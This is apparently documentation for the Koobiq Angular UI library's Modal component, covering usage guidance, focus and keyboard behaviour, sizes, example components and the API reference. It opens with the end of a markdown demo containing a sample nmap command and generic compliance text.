
```bash
$ nmap -sS -O 192.168.1.1
```

### Compliance Standards

#### Regulatory Requirements

Organizations must comply with various cybersecurity regulations and standards depending on their industry and location. These may include GDPR, HIPAA, SOX, and industry-specific requirements that mandate specific security controls and practices.

- Regular security assessments and audits
- Implementation of appropriate technical and organizational measures
- Incident reporting and breach notification procedures

Continuous improvement in cybersecurity requires staying updated with the latest threats, technologies, and best practices in the field.
</kbq-markdown>
````

## Modal

- Entry point: `@koobiq/components/modal`
- NgModule: `KbqModalModule`
- Page: https://koobiq.io/en/components/modal/overview

### Overview

A modal dialog opens as a window on top of the page, dims the underlying layer, and blocks all interaction with it. The modal dialog focuses the user's attention on its content.

**Example: Modal component** (`modal-component`)

```ts modal-component-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqOptgroup } from '@koobiq/components/core';
import { KbqDivider } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIcon } from '@koobiq/components/icon';
import { KBQ_MODAL_DATA, KbqModalModule, KbqModalRef, KbqModalService } from '@koobiq/components/modal';
import { KbqTitleDirective } from '@koobiq/components/title';

interface CustomModalData {
    title: string;
    subtitle: string;
}

@Component({
    selector: 'custom-modal',
    imports: [
        KbqModalModule,
        KbqButtonModule,
        KbqDivider,
        KbqDropdownModule,
        KbqIcon,
        KbqOptgroup,
        KbqTitleDirective
    ],
    template: `
        <kbq-modal-title>{{ data.title }}</kbq-modal-title>

        <kbq-modal-body>
            <div class="layout-margin-bottom-l">{{ data.subtitle }}</div>
            <button kbq-button [kbqDropdownTriggerFor]="appDropdown">
                dropdown
                <i kbq-icon="kbq-chevron-down-s_16"></i>
            </button>

            <kbq-dropdown #appDropdown="kbqDropdown">
                <button kbq-dropdown-item>Text Normal</button>

                <button kbq-dropdown-item>
                    <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
                    Text Normal
                </button>

                <button kbq-dropdown-item>
                    Text Normal
                    <div kbqDropdownItemCaption>Caption</div>
                </button>

                <button kbq-dropdown-item>
                    <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
                    Text Normal
                    <div kbqDropdownItemCaption>Caption</div>
                </button>

                <button kbq-dropdown-item>
                    <i kbq-icon="kbq-circle-xs_16" [color]="'contrast'"></i>
                    Text Normal
                </button>

                <button kbq-dropdown-item kbq-title>
                    Text Normal and very long text Text Normal and very long text Text Normal and very long text Text
                    Normal and very long text
                </button>

                <kbq-divider />

                <div kbqDropdownGroupHeader>Header</div>

                <button disabled kbq-dropdown-item>Disabled</button>

                <kbq-divider />

                <kbq-optgroup label="Subheading" />

                <button disabled kbq-dropdown-item>
                    <i kbq-icon="kbq-circle-xs_16" [color]="'contrast'"></i>
                    Disabled with icon
                </button>

                <kbq-divider />

                <button kbq-dropdown-item>Point 2</button>

                <button kbq-dropdown-item>Point 3</button>

                <button kbq-dropdown-item>Link</button>
            </kbq-dropdown>
        </kbq-modal-body>

        <div kbq-modal-footer>
            <button kbq-button [color]="'contrast'" (click)="destroyModal('save')">Save</button>
            <button kbq-button autofocus (click)="destroyModal('close')">Close</button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CustomModalComponent {
    private readonly modalRef = inject(KbqModalRef);

    readonly data = inject<CustomModalData>(KBQ_MODAL_DATA);

    destroyModal(action: 'save' | 'close') {
        this.modalRef.destroy(action);
    }
}

@Component({
    selector: 'modal-component-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="openModal()">Open Modal</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalComponentExample {
    private readonly modalService = inject(KbqModalService);

    modalRef: KbqModalRef<CustomModalComponent, 'save' | 'close'>;

    openModal(): void {
        this.modalRef = this.modalService.open<CustomModalComponent, 'save' | 'close'>({
            kbqComponent: CustomModalComponent,
            data: {
                title: 'DoS attack',
                subtitle:
                    'In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network.'
            } satisfies CustomModalData
        });

        this.modalRef.afterOpen.subscribe(() => {
            console.log('[afterOpen] emitted!');
        });

        this.modalRef.afterClose.subscribe((action) => {
            console.log(`[afterClose] emitted, chosen action: ${action}`);
        });
    }
}
```

#### When to use

Use modal dialogs for short-term tasks and user-triggered operations (you can open a short form, settings). It can be convenient to show hidden content in a modal window. Modals help accomplish tasks efficiently without losing context of the main page. Despite their versatility, modal windows are [not suitable for all situations](https://koobiq.io/en/components/modal.md#related-components).

#### Component structure

- Header. Dialog title
- Close action
- Body. Contains message text, a question, controls, and input fields
- Footer. Action buttons, option to cancel the operation or close the dialog

Many of these parts may be absent. The body and the ability to close the dialog must remain. The required way to close the dialog is the × (cross) in the header or the "Cancel" ("Close") button in the footer.

##### Simple dialog without a header

Resembles a browser alert. Use when the system asks a single question or delivers a short message, to avoid redundant text duplication in the title and body of the modal window. Such dialogs do not have a close × icon in the top right corner.

There is no title to name the dialog for a screen reader here, so pass `kbqAriaLabel` — otherwise the dialog is announced unnamed.

**Example: Modal** (`modal-overview`)

```ts modal-overview-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalService, ModalSize } from '@koobiq/components/modal';

@Component({
    selector: 'modal-overview-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="showConfirmModal()">Open Confirm Modal</button>
        <button kbq-button (click)="showSuccessModal()">Open Success Modal</button>
        <button kbq-button (click)="showDeleteModal()">Open Delete Modal</button>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            width: 200px;
        }

        button:not(:last-child) {
            margin-bottom: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalOverviewExample {
    private readonly modalService = inject(KbqModalService);

    showConfirmModal(): void {
        this.modalService.confirm({
            kbqAriaLabel: 'Save changes',
            kbqSize: ModalSize.Small,
            kbqMaskClosable: true,
            kbqContent: 'Save changes?',
            kbqOkText: 'Save',
            kbqCancelText: 'Cancel',
            kbqOkClick: () => console.log('Save'),
            kbqCancelClick: () => console.log('Cancel')
        });
    }

    showSuccessModal(): void {
        this.modalService.success({
            kbqAriaLabel: 'Changes saved',
            kbqSize: ModalSize.Small,
            kbqMaskClosable: true,
            kbqContent: 'All changes are saved!',
            kbqOkText: 'ОК',
            kbqCancelText: 'Cancel',
            kbqOkClick: () => console.log('OK'),
            kbqCancelClick: () => console.log('Cancel')
        });
    }

    showDeleteModal(): void {
        this.modalService.delete({
            kbqAriaLabel: 'Delete customer',
            kbqContent:
                'The tasks, policies and tags associated with the customer will be deleted too. Delete selected customer?',
            kbqOkText: 'Delete',
            kbqCancelText: 'Cancel',
            kbqWidth: '480px',
            kbqMaskClosable: true,
            kbqOkClick: () => console.log('Delete'),
            kbqCancelClick: () => console.log('Cancel')
        });
    }
}
```

##### Dialog with a title and caption

Use a caption to provide additional context below the dialog title — for example, a brief description of the action or its scope. The caption is limited to two lines and truncates with an ellipsis if the text is longer.

**Example: Modal with caption** (`modal-caption`)

```ts modal-caption-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalService, ModalSize } from '@koobiq/components/modal';

@Component({
    selector: 'modal-caption-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="openWithStringCaption()">String caption</button>
        <button kbq-button (click)="openWithTemplateCaption(captionTpl)">Template caption</button>

        <ng-template #captionTpl>
            <span>
                Custom
                <strong>template</strong>
                caption caption caption caption caption caption caption caption caption caption
            </span>
        </ng-template>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-gap-m'
    }
})
export class ModalCaptionExample {
    private readonly modalService = inject(KbqModalService);

    openWithStringCaption(): void {
        this.modalService.create({
            kbqTitle: 'Dialog title',
            kbqCaption: 'Additional context or description for the dialog',
            kbqContent: 'Modal body content',
            kbqOkText: 'Ok',
            kbqCancelText: 'Cancel'
        });
    }

    openWithTemplateCaption(kbqCaption: TemplateRef<object>): void {
        this.modalService.create({
            kbqTitle: 'Dialog title Dialog title Dialog title Dialog title g title Dialog titl g title Dialog titl',
            kbqCaption,
            kbqContent: 'Modal body content',
            kbqOkText: 'Ok',
            kbqCancelText: 'Cancel',
            kbqSize: ModalSize.Small
        });
    }
}
```

#### How it works

The page is dimmed and cannot be interacted with: buttons cannot be clicked, there is no hover, scrolling, etc. On top of the dim, the modal dialog window opens.

A dialog may open from a user action. The system can also block the user with a modal dialog, but such abrupt interruption should be avoided whenever possible.

##### How to close the dialog

- Performing the primary or secondary dialog actions (buttons in the footer)
- The "Cancel" or "Close" button in the footer
- The × in the header — only when the dialog heading is unavoidable
- Clicking outside the modal window. By default, modal windows do not close this way. However, closing by clicking outside the window can be useful when there is no risk of data loss and the system is not awaiting user input (for example, when there are no terminal buttons in the window).
- The Esc key (equivalent to the "Cancel" button)

The dialog closes on a left mouse button click only: the right and middle buttons open the browser's context menu or trigger its own actions and leave the window alone. The [side panel](https://koobiq.io/en/components/sidepanel.md) behaves the same way.

All of these close the dialog the same way whether it was opened with `KbqModalService` or declared as `<kbq-modal [(kbqVisible)]>`, and each runs the OK or the Cancel flow first.

Each flow has an input and an output, and you bind one or the other:

| Member                              | What it does                                                                                          |
| ----------------------------------- | ----------------------------------------------------------------------------------------------------- |
| `[kbqOkClick]` / `[kbqCancelClick]` | Decides. Returning `false` — or a promise of `false` — keeps the dialog open; anything else closes it |
| `(kbqOnOk)` / `(kbqOnCancel)`       | Notifies. The dialog closes either way                                                                |

Binding both on the same dialog does not combine them: the handler decides the close, so the event is never emitted. Development mode reports it.

Do not close a modal window automatically by timeout, as the user may not have had time to read the information inside.

Sometimes the system cannot allow the user to return to interacting with the page. Even in this situation, the modal window should not be a dead end in the use case — action options must be provided. For example, if the system shows a window about an expired session, returning to the page in the background is not possible — but a link to the login page should be offered.

##### Remembering user data

If any data has been entered in the window, it must be remembered and shown again when the dialog is reopened. For example, when a create form was being filled out. If an edit form was opened in a modal, changes were started but not saved, and the modal was closed, then unsaved data should not be pre-filled when reopening.

##### Scrolling

The page background does not scroll. The height of the modal window is determined by its content. The window stretches in height and occupies the full available screen height, minus 48px padding on each side.

Only the central part (body) of the dialog scrolls. The header and footer remain visible. They cast a shadow. The scrollbar appears inside the modal content block. It should be flush with the right edge of the window, without any offset.

A long modal is a clear sign that a [different component or a separate page](https://koobiq.io/en/components/modal.md#related-components) should be used.

**Example: Modal scroll** (`modal-scroll`)

```ts modal-scroll-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalService, ModalSize } from '@koobiq/components/modal';

@Component({
    selector: 'custom-modal',
    template: `
        @for (item of items; track item) {
            <p>{{ item }}</p>
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CustomModalComponent {
    items = Array.from({ length: 1000 }).map((_, i) => `Item #${i}`);
}

@Component({
    selector: 'modal-scroll-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="createLongModal()">Open Modal</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalScrollExample {
    private readonly modalService = inject(KbqModalService);

    createLongModal(): void {
        this.modalService.create({
            kbqSize: ModalSize.Small,
            kbqTitle: 'Modal Title',
            kbqContent: CustomModalComponent,
            kbqOkText: 'Yes',
            kbqCancelText: 'No',
            kbqOkClick: () => console.log('Yes'),
            kbqCancelClick: () => console.log('No')
        });
    }
}
```

##### Focus and keyboard navigation

When a modal dialog is open, focus moves only through elements inside the window, including the × button and the footer buttons. Focus does not leave the modal.

###### Focus when opening a modal dialog

When a dialog opens, focus moves to an element inside the dialog. The focus placement depends on the nature and size of the content.

- Focus is placed on the first tabbable element of the dialog, unless otherwise specified. For a dialog with a header that is the × button, so mark the element you want instead with `autofocus` or `cdkFocusInitial` — either wins over the default
- If the dialog contains a form, focus should be placed in the first input field
- If the dialog window contains an important irreversible action, it is better to place focus on a different, less destructive element
- If the dialog contains only terminal buttons, it is useful to place focus on the button the user is most likely to press ("OK" or "Cancel", depending on the situation)
- If the modal window contains a lot of content with scrolling, placing focus on the first available element may automatically scroll the window content and hide the beginning. Set `kbqAutoFocus: 'dialog'` for that case: focus lands on the dialog itself, which is reachable by keyboard but does not scroll the body. `'first-heading'` focuses the title instead, and `false` leaves focus alone entirely — the caller then has to move it into the dialog

A dialog with no focusable control at all still takes focus off the trigger behind it: focus goes to the dialog element.

###### Focus after closing the modal window

When the dialog is closed, focus returns by default to the element that triggered it.

If the trigger element no longer exists, focus returns to another element appropriate to the interaction logic.

In some situations, focus may intentionally return to a different element than the one that originally opened the dialog:

- It is unlikely that the user will want to immediately open the same dialog again
- The task performed in the dialog is directly related to the next step in the workflow. For example, a table has a toolbar with an "Add rows" button. The button opens a dialog asking for the number of new rows. After the dialog is closed, focus is placed in the first cell of the first new row.

###### Keyboard navigation

| Key      | Action                                                                                                                                                               |
| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Ctrl + ↵ | Performs the primary dialog action                                                                                                                                   |
| Esc      | Close the dialog, exactly as the Cancel button does — the `kbqCancelClick` handler runs first and can veto the close. Set `kbqCloseByESC: false` to turn the key off |

#### Validation

A form may be placed in the window body. Terminal submit buttons must be located in the window footer. [Validation follows general rules](https://koobiq.io/en/other/validation.md).

#### Design and animation

##### Position

The window opens centered on screen with a 48px offset from the top edge. If the page was scrolled, there should be no horizontal shift when the dialog opens (this often occurs when the scrollbar appears and disappears when opening or closing a modal).

##### Size

There is no horizontal scroll; content in the panel must fit within the width.

| Preset | Width         |
| ------ | ------------- |
| Small  | 400           |
| Medium | 640 (default) |
| Large  | 960           |

**Example: Modal sizes** (`modal-sizes`)

```ts modal-sizes-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalService, ModalSize } from '@koobiq/components/modal';

@Component({
    selector: 'modal-sizes-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="showModal(modalSize.Small)">Small</button>
        <button kbq-button (click)="showModal(modalSize.Medium)">Medium</button>
        <button kbq-button (click)="showModal(modalSize.Large)">Large</button>
        <button kbq-button (click)="showCustomModal()">Custom width</button>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            width: 200px;
        }

        button:not(:last-child) {
            margin-bottom: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalSizesExample {
    private readonly modalService = inject(KbqModalService);

    readonly modalSize = ModalSize;

    showModal(kbqSize: ModalSize): void {
        this.modalService.confirm({
            kbqAriaLabel: 'Save changes',
            kbqSize,
            kbqContent: 'Save changes?',
            kbqOkText: 'Save',
            kbqCancelText: 'Cancel',
            kbqOkClick: () => console.log('Save'),
            kbqCancelClick: () => console.log('Cancel')
        });
    }

    showCustomModal(): void {
        this.modalService.confirm({
            kbqAriaLabel: 'Save changes',
            kbqWidth: '600px',
            kbqContent: 'Save changes?',
            kbqOkText: 'Save',
            kbqCancelText: 'Cancel',
            kbqOkClick: () => console.log('Save'),
            kbqCancelClick: () => console.log('Cancel')
        });
    }
}
```

##### Button panel

Terminal buttons are located in the lower right corner of the footer. Order: primary action, secondary action, cancel. Additional action buttons are located in the lower left corner.

**Example: Modal template** (`modal-template`)

```ts modal-template-example.ts
import { ChangeDetectionStrategy, Component, inject, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqModalRef, KbqModalService, ModalSize } from '@koobiq/components/modal';
import { KbqSplitButton } from '@koobiq/components/split-button';

@Component({
    selector: 'modal-template-example',
    imports: [
        KbqButtonModule,
        KbqSplitButton,
        KbqIcon,
        KbqDropdownModule
    ],
    template: `
        <button kbq-button (click)="createModal(title, content, footer, sizes.Small)">Open Modal</button>

        <ng-template #title>DoS attack</ng-template>

        <ng-template #content>
            In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to
            make a machine or network resource unavailable to its intended users by temporarily or indefinitely
            disrupting services of a host connected to a network.

            <kbq-split-button class="layout-margin-top-m">
                <button kbq-button (click)="createModal(title, content, footer)">Open next modal</button>
                <button kbq-button aria-label="More options" [kbqDropdownTriggerFor]="dropdown">
                    <i kbq-icon="kbq-chevron-down-s_16"></i>
                </button>
            </kbq-split-button>

            <kbq-dropdown #dropdown="kbqDropdown">
                <button kbq-dropdown-item (click)="createModal(title, content, footer, sizes.Small)">
                    Open small modal
                </button>
                <button kbq-dropdown-item (click)="createModal(title, content, footer, sizes.Medium)">
                    Open medium modal
                </button>
                <button kbq-dropdown-item (click)="createModal(title, content, footer, sizes.Large)">
                    Open large modal
                </button>
            </kbq-dropdown>
        </ng-template>

        <ng-template #footer>
            <div class="layout-row flex-grow layout-align-space-between">
                <button kbq-button (click)="destroyModal()">Add. action</button>

                <div>
                    <button
                        class="layout-margin-right-m"
                        kbq-button
                        kbq-modal-main-action
                        [color]="'contrast'"
                        (click)="destroyModal()"
                    >
                        Save
                    </button>
                    <button kbq-button (click)="destroyModal()">Cancel</button>
                </div>
            </div>
        </ng-template>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalTemplateExample {
    private readonly modalService = inject(KbqModalService);

    modalRef: KbqModalRef;
    sizes = ModalSize;

    createModal(
        kbqTitle: TemplateRef<object>,
        kbqContent: TemplateRef<object>,
        kbqFooter: TemplateRef<object>,
        size?: ModalSize
    ): void {
        this.modalRef = this.modalService.create({
            kbqTitle,
            kbqContent,
            kbqFooter,
            kbqMaskClosable: true,
            kbqSize: size,
            kbqOkClick: () => console.log('OK')
        });
    }

    destroyModal(): void {
        this.modalRef.triggerOk();
    }
}
```

##### Overlapping modal windows

Opening one modal dialog from another is incorrect. But if it happens (as an economy measure or forced workaround), only one dim overlay should remain. The page background and the parent modal sit beneath it. Multiple dim overlays is a mistake.

**Example: Modal multiple** (`modal-multiple`)

```ts modal-multiple-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalService, ModalSize } from '@koobiq/components/modal';

@Component({
    selector: 'modal-multiple-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="showConfirmModal()">Open two modals</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalMultipleExample {
    private readonly modalService = inject(KbqModalService);

    showConfirmModal(): void {
        this.modalService.confirm({
            kbqAriaLabel: 'Save changes',
            kbqSize: ModalSize.Medium,
            kbqBodyStyle: { height: '120px' },
            kbqMaskClosable: true,
            kbqContent: 'Save changes?',
            kbqOkText: 'Save',
            kbqCancelText: 'Cancel',
            kbqOkClick: () => console.log('Save'),
            kbqCancelClick: () => console.log('Cancel')
        });

        this.showSuccessModal();
    }

    showSuccessModal(): void {
        this.modalService.success({
            kbqAriaLabel: 'Changes saved',
            kbqSize: ModalSize.Small,
            kbqMaskClosable: true,
            kbqContent: 'All changes are saved!',
            kbqOkText: 'ОК',
            kbqCancelText: 'Cancel',
            kbqOkClick: () => console.log('OK'),
            kbqCancelClick: () => console.log('Cancel')
        });
    }
}
```

##### Fully custom content

When a modal is opened via `KbqModalService.open` with a `kbqComponent`, use the `kbq-modal-title`, `kbq-modal-body`, and `kbq-modal-footer` directives to compose the dialog. To add a caption, place `kbq-modal-caption` inside `kbq-modal-title` — it is rendered in the dialog header, below the title. These directives keep the standard layout and scroll shadows, so a long body still casts a shadow onto the header and footer, exactly as in a modal created via `KbqModalService.create`.

The title and the caption also name and describe the dialog itself, through `aria-labelledby` and `aria-describedby`, so a composed dialog is announced the same way a dialog created via `KbqModalService.create` is.

For a control that belongs next to the heading rather than in the footer — a settings button, a counter, a link to the documentation — mark it `kbqModalTitleActions` and place it inside `kbq-modal-title`. It is rendered beside the heading, outside the two-line clamp the title and caption are subject to, so a long title does not push it out of view:

```html
<kbq-modal-title>
    Title
    <button kbq-button kbqModalTitleActions>…</button>
</kbq-modal-title>
```

**Example: Modal full custom** (`modal-full-custom`)

```ts modal-full-custom-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalModule, KbqModalRef, KbqModalService } from '@koobiq/components/modal';

@Component({
    selector: 'custom-modal',
    imports: [
        KbqModalModule,
        KbqButtonModule
    ],
    template: `
        <kbq-modal-title>
            Fully custom modal
            <kbq-modal-caption>Additional context or description for the dialog</kbq-modal-caption>
        </kbq-modal-title>

        <kbq-modal-body>
            @for (item of items; track item) {
                <p>{{ item }}</p>
            }
        </kbq-modal-body>

        <div kbq-modal-footer>
            <button kbq-button [color]="'contrast'" (click)="modalRef.close()">Save</button>
            <button kbq-button autofocus (click)="modalRef.close()">Close</button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CustomModalComponent {
    protected readonly modalRef = inject(KbqModalRef);

    items = Array.from({ length: 30 }).map((_, i) => `Item #${i}`);
}

@Component({
    selector: 'modal-full-custom-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="openModal()">Open Modal</button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalFullCustomExample {
    private readonly modalService = inject(KbqModalService);

    openModal(): void {
        this.modalService.open({
            kbqComponent: CustomModalComponent
        });
    }
}
```

#### Related components

A modal dialog abruptly concentrates attention on itself, causes the user to lose focus, and prevents interaction with the page beneath it. Therefore, in most cases you should try to avoid modality. These approaches will help you treat the user considerately and avoid modal window stacking:

A [Popover](https://koobiq.io/en/components/popover.md) captures the user's attention less disruptively. It does not interfere with interacting with the rest of the page and does not limit freedom. A popover is easier to accidentally close. If the system is waiting for an important response, or it is unclear what will happen if the popover is closed, use the trusty modal dialog.

A [Side panel](https://koobiq.io/en/components/sidepanel.md) is something between a new page and a modal window. It stretches the full height of the browser window; long and narrow pages look better in it than in a modal window, while wide and low pages look worse. Side panels stack on each other well, while modal windows should not be used with such stacking.

**Inline messages and inline forms** help show new content on the same layer of the page and do so less intrusively. This technique is actively used to display errors for the entire form — or to warn the user in advance about something important. Inline forms help avoid modal modes, new screens, and nesting in complex forms. For example, when you need to add a new object consisting of several fields (first name, last name, middle name) to a collection.

**Accordion**, "Show more" pattern, [tooltip](https://koobiq.io/en/components/tooltip.md) will help when you simply need to show additional content. This option is suitable for less important things than inline messages.

A toast notification will briefly report the result of an operation or show a completely unimportant message. Toast notifications are used when it is acceptable for the person to miss the message, when the message can quickly become irrelevant, or when there is another way to read it (for example, in the notification center).

**A new page** replaces a modal window when a lot of content, a long form, or a list needs to be shown. This approach allows content to be presented fully, with focus and without loss of functionality (for example, navigation).

**The "Undo changes" pattern.** Instead of a "Are you sure?" modal dialog, it is often better to immediately perform the operation — and give the ability to undo it.

### API

#### Components

##### KbqModalCaption (component)

Caption of a manually composed modal (`kbqComponent`). Projected into the header rendered by
`KbqModalTitle`, below the title, and clamped to two lines. The resulting markup matches the
header of a modal created via `KbqModalService.create`.

```ts
@Component({
    selector: '[kbq-modal-caption], kbq-modal-caption, [kbqModalCaption]'
})
class KbqModalCaption {}
```

##### KbqModalComponent (component)

```ts
@Component({ selector: 'kbq-modal' })
class KbqModalComponent<T = any, R = any> extends KbqModalRef<T, R> implements KbqModal {
    readonly kbqModalType = input<ModalType>(
        this.options?.kbqModalType ?? 'default'
    );
    readonly kbqComponent = input<Type<T> | undefined>(
        this.options?.kbqComponent
    );
    readonly kbqContent = input<string | TemplateRef<{}> | Type<T> | undefined>(
        this.options?.kbqContent
    );
    readonly kbqFooter = input<string | TemplateRef<{}> | IModalButtonOptions<T>[] | undefined>(
        this.options?.kbqFooter
    );
    readonly kbqVisible = model<boolean>(
        this.options?.kbqVisible ?? false
    );
    readonly kbqWidth = input<number | string | undefined>(
        this.options?.kbqWidth
    );
    readonly kbqSize = input<ModalSize>(
        this.options?.kbqSize ?? ModalSize.Medium
    );
    readonly kbqWrapClassName = input<string | undefined>(
        this.options?.kbqWrapClassName
    );
    readonly kbqClassName = input<string | undefined>(
        this.options?.kbqClassName
    );
    readonly kbqStyle = input<object | undefined>(
        this.options?.kbqStyle
    );
    readonly kbqTitle = input<string | TemplateRef<{}> | undefined>(
        this.options?.kbqTitle
    );
    readonly kbqCaption = input<string | TemplateRef<{}> | undefined>(
        this.options?.kbqCaption
    );
    readonly kbqCloseByESC = input<boolean>(
        this.options?.kbqCloseByESC ?? true
    );
    readonly kbqAutoFocus = input<KbqModalAutoFocus>(
        this.options?.kbqAutoFocus ?? 'first-tabbable'
    );
    readonly kbqAriaLabel = input<string | undefined>(
        this.options?.kbqAriaLabel
    );
    readonly kbqClosable = input<boolean>(
        this.options?.kbqClosable ?? true
    );
    readonly kbqMask = input<boolean>(this.options?.kbqMask ?? true);
    readonly kbqMaskClosable = input<boolean>(
        this.options?.kbqMaskClosable ?? false
    );
    readonly kbqMaskStyle = input<object | undefined>(
        this.options?.kbqMaskStyle
    );
    readonly kbqBodyStyle = input<object | undefined>(
        this.options?.kbqBodyStyle
    );
    readonly kbqOkText = input<string | undefined>(
        this.options?.kbqOkText
    );
    readonly kbqOkType = input<KbqButtonColor>(
        this.options?.kbqOkType ?? KbqComponentColors.Contrast
    );
    readonly kbqRestoreFocus = input<boolean>(
        this.options?.kbqRestoreFocus ?? true
    );
    readonly kbqOkLoading = input<boolean>(
        this.options?.kbqOkLoading ?? false
    );
    readonly kbqOkClick = input<OnClickCallback<T> | undefined>(
        this.options?.kbqOkClick
    );
    readonly kbqCancelText = input<string | undefined>(
        this.options?.kbqCancelText
    );
    readonly kbqCancelLoading = input<boolean>(
        this.options?.kbqCancelLoading ?? false
    );
    readonly kbqCancelClick = input<OnClickCallback<T> | undefined>(
        this.options?.kbqCancelClick
    );
    readonly kbqGetContainer = input<HTMLElement | OverlayRef | (() => HTMLElement | OverlayRef) | null>(
        this.options ? (this.options.kbqGetContainer ?? null) : () => this.overlay.create()
    );
    componentColors: typeof KbqComponentColors;
    readonly kbqAfterOpen: EventEmitter<void>;
    readonly kbqAfterClose: EventEmitter<R | undefined>;
    readonly kbqBeforeClose: EventEmitter<R | undefined>;
    readonly kbqOnOk: EventEmitter<T>;
    readonly kbqOnCancel: EventEmitter<T>;
    readonly modalContainer: Signal<ElementRef<any>>;
    readonly bodyContainer: Signal<ViewContainerRef>;
    readonly titleId: string;
    readonly captionId: string;
    get afterOpen(): Observable<void>;
    get beforeClose(): Observable<R | undefined>;
    get afterClose(): Observable<R | undefined>;
    get hidden(): boolean;
    open(): void;
    close(result?: R): void;
    destroy(result?: R): void;
    markForCheck(): void;
    triggerOk(): void;
    triggerCancel(): void;
    getInstance(): KbqModalComponent;
    getContentComponentRef(): ComponentRef<T>;
    getContentComponent(): T;
    getElement(): HTMLElement;
    onClickCloseBtn(): void;
}
```

- `[kbqModalType]`: `ModalType` — Layout the dialog renders.
- `[kbqComponent]`: `Type<T> | undefined` — The instance of component opened into the dialog.
- `[kbqContent]`: `string | TemplateRef<{}> | Type<T> | undefined` — Body of the dialog: text, a template or a component class. Falls back to `<ng-content>`.
- `[kbqFooter]`: `string | TemplateRef<{}> | IModalButtonOptions<T>[] | undefined` — Footer of the dialog: text, a template, or the buttons to render. Default modal ONLY.
- `[(kbqVisible)]`: `boolean` — Whether the dialog is shown. Two-way bindable as `[(kbqVisible)]`.
- `[kbqWidth]`: `number | string | undefined` — Explicit width, overriding the one `kbqSize` implies. A number is read as pixels.
- `[kbqSize]`: `ModalSize` — Width preset.
- `[kbqWrapClassName]`: `string | undefined` — Extra class names for the full-screen wrapper around the dialog.
- `[kbqClassName]`: `string | undefined` — Extra class names for the dialog element itself.
- `[kbqStyle]`: `object | undefined` — Inline styles for the dialog element.
- `[kbqTitle]`: `string | TemplateRef<{}> | undefined` — Heading of the dialog. Also becomes its accessible name.
- `[kbqCaption]`: `string | TemplateRef<{}> | undefined` — Secondary line under the heading. Also becomes the dialog's accessible description.
- `[kbqCloseByESC]`: `boolean` — Whether `Escape` cancels the dialog.
- `[kbqAutoFocus]`: `KbqModalAutoFocus` — Where focus lands when the dialog is shown.
- `[kbqAriaLabel]`: `string | undefined` — Accessible name for a dialog rendered without `kbqTitle` — a confirm or a header-less dialog.
- `[kbqClosable]`: `boolean` — Whether the header renders a close button.
- `[kbqMask]`: `boolean` — Whether the page behind the dialog is dimmed.
- `[kbqMaskClosable]`: `boolean` — Whether a click on the dim layer cancels the dialog.
- `[kbqMaskStyle]`: `object | undefined` — Inline styles for the dim layer.
- `[kbqBodyStyle]`: `object | undefined` — Inline styles for the body element.
- `[kbqOkText]`: `string | undefined` — Caption of the predefined OK button. The button is not rendered without it.
- `[kbqOkType]`: `KbqButtonColor` — Color of the predefined OK button.
- `[kbqRestoreFocus]`: `boolean` — Whether focus returns to the trigger when the dialog closes.
- `[kbqOkLoading]`: `boolean` — Whether the predefined OK button renders its progress state.
- `[kbqOkClick]`: `OnClickCallback<T> | undefined` — Decision handler of the predefined OK button. Returning `false` — or a promise of `false` —
  keeps the dialog open; anything else closes it. Receives the body component instance when the
  body is a component.

  Bind this **or** `(kbqOnOk)`, never both: a handler decides the close itself, so the event has
  nothing left to report and is not emitted. Binding both is reported in development mode.
- `[kbqCancelText]`: `string | undefined` — Caption of the predefined Cancel button. The button is not rendered without it.
- `[kbqCancelLoading]`: `boolean` — Whether the predefined Cancel button renders its progress state.
